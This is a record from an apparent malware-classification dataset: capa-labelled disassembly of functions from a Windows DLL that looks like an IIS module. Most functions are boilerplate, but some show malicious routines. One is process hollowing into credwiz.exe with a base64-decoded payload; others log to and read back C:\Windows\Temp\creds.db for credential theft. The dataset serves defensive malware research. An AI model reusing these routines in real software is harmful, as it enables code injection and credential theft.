joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003e4cd
Capabilities:
Write file on windows

Disassembly:
jmp 0x180045830
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1800e709f]
call fcn.18003ff85
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rbp + 0x38], 0
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x800
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x58], rax
movzx eax, word [rbp + 0x14]
movzx ecx, word [rbp + 0x12]
movzx edx, word [rbp + 0x10]
movzx r8d, word [rbp + 8]
movzx r9d, word [rbp + 0xa]
movzx r10d, word [rbp + 0xe]
mov r11, qword [rbp + 0x190]
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r9d
mov r9d, r10d
lea r8, str._02d__02d__04d__02d:_02d:_02d___s_r_n
mov edx, 0x800
mov rcx, qword [rbp + 0x58]
call fcn.18003f4ef
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:WindowsTempcreds.db
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x38], rax
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp + 0x74], eax
mov dword [rbp + 0x94], 0
mov rcx, qword [rbp + 0x58]
call fcn.18003e554
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x94]
mov r8d, eax
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x4000
mov edx, 0x800
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp - 0x50]
lea rdx, [0x1800c2960]
call fcn.18003f71f
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.18003e707
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

Function at 0x18003e554
Capabilities:
Encode data using xor

Disassembly:
jmp 0x18005d640
mov rax, rcx
neg rcx
test rax, 7
je 0x18005d65d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x18005d6b8
test al, 7
jne 0x18005d650
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x18005d671
mov rdx, qword [rax - 8]
test dl, dl
je 0x18005d6e2
test dh, dh
je 0x18005d6dc
shr rdx, 0x10
test dl, dl
je 0x18005d6d6
test dh, dh
je 0x18005d6d0
shr rdx, 0x10
test dl, dl
je 0x18005d6ca
test dh, dh
je 0x18005d6c4
shr edx, 0x10
test dl, dl
je 0x18005d6be
test dh, dh
jne 0x18005d671
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x18003e56d
Capabilities:
Print debug messages

Disassembly:
jmp 0x180043f70
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnCustomRequestNotification
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e5b3
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044570
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostLogRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e5b8
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044770
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostResolveRequestCache
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e86a
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x18005bf40
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1800c53b8]
mov ecx, 2
lea r8, [0x1800c53b0]
lea rdx, str.FlsGetValue
call fcn.18005ba10
mov ecx, ebx
test rax, rax
je 0x18005bf7a
add rsp, 0x20
pop rbx
jmp qword [0x1800e8020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x18003e9af
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044170
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnMapPath
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003e9be
Capabilities:
Query environment variable

Disassembly:
jmp 0x18009c798
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18009c7c8
xor eax, eax
jmp 0x18009c88b
mov rbp, rbx
cmp word [rax], si
je 0x18009c7ed
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18009c7d4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18009c7d0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18003f3a0
movsxd r14, eax
test eax, eax
jne 0x18009c82b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18009c7c1
mov rcx, r14
call fcn.18003d037
mov rdi, rax
test rax, rax
jne 0x18009c844
xor ecx, ecx
call fcn.18003d172
jmp 0x18009c820
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18003f3a0
test eax, eax
jne 0x18009c875
mov rcx, rdi
call fcn.18003d172
jmp 0x18009c87f
xor ecx, ecx
call fcn.18003d172
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18003e9cd
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x18005be90
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1800c5378]
xor ecx, ecx
lea r8, [0x1800c5370]
lea rdx, str.FlsAlloc
call fcn.18005ba10
test rax, rax
je 0x18005bec9
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1800e8020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x18003ea4a
Capabilities:
Get geographical location

Disassembly:
jmp 0x18009ec20
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1800c7008]
mov rbp, rcx
lea r8, [0x1800c7000]
lea rdx, str.GetLocaleInfoEx
mov ecx, 8
call fcn.18009e140
test rax, rax
je 0x18009ec80
movabs r10, 0xe375262d7cd44270
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [0x1800e8030]
jmp 0x18009ec9a
xor edx, edx
mov rcx, rbp
call fcn.18003e2e8
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x18003ea5e
Capabilities:
Terminate process

Disassembly:
jmp 0x180047960
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x18003eb5d
Capabilities:
Print debug messages

Disassembly:
jmp 0x180043df0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnAuthenticateRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003eb9e
Capabilities:
Parse pe header

Disassembly:
jmp 0x18008a068
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x180089dc4

Function at 0x18003ebe4
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044af0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnUpdateRequestCache
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x18003ed9c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Decode data using base64 via winapi
Resume thread
Use process replacement

Disassembly:
jmp 0x180044e90
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x9c8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x19e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x9e8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x968], rax
lea rcx, [0x1800e709f]
call fcn.18003ff85
mov dword [rbp + 4], 0x9c40
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.18003f350
mov dword [rbp + 0x30], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0xb8]
call fcn.18003f350
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32credwiz.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0xe4], eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x9c40
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x108], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x9c40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x128], rax
mov dword [rbp + 0x144], 0x1000
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x144]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x128]
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x998]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov qword [rbp + 0x168], 0
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9d, 0x9c40
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x1c0], 0x10000b
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x4000
mov edx, 0x9c40
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 4
lea rdx, str.DONE
mov rcx, qword [rbp + 0x990]
call fcn.18003e70c
lea rcx, [rbp - 0x50]
lea rdx, [0x1800c2860]
call fcn.18003f71f
mov rcx, qword [rbp + 0x968]
xor rcx, rbp
call fcn.18003e707
lea rsp, [rbp + 0x978]
pop rdi
pop rbp
ret
Function at 0x18003eedc
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044970
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnReleaseRequestState
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003ef86
Capabilities:
Print debug messages

Disassembly:
jmp 0x180043d70
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnAsyncCompletion
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003f116
Capabilities:
Read file on windows

Disassembly:
jmp 0x180044cd0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1800e709f]
call fcn.18003ff85
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:WindowsTempcreds.db
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, 0x9c40
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x24], 0
jne 0x180044dad
mov r8d, 0xf
lea rdx, str.No_Creds_Found
mov rcx, qword [rbp + 0x120]
call fcn.18003e70c
lea rcx, [rbp - 0x40]
lea rdx, [0x1800c29f0]
call fcn.18003f71f
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.18003e707
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x18003f4e0
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800445f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostMapRequestHandler
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003f521
Capabilities:
Terminate process

Disassembly:
jmp 0x18008ff60
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18008ff7a
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.18003fc1f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x18003f67f
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044270
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostAcquireRequestState
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003f783
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800442f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostAuthenticateRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x18003fa6c
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800440f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnLogRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003fa71
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800447f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostUpdateRequestCache
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003fc06
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800441f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnMapRequestHandler
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18003fcce
Capabilities:
Print debug messages

Disassembly:
jmp 0x180044370
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1800e7032]
call fcn.18003ff85
lea rcx, str.This_module_subscribed_to_event
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.CHttpModule::OnPostAuthorizeRequest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str._but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret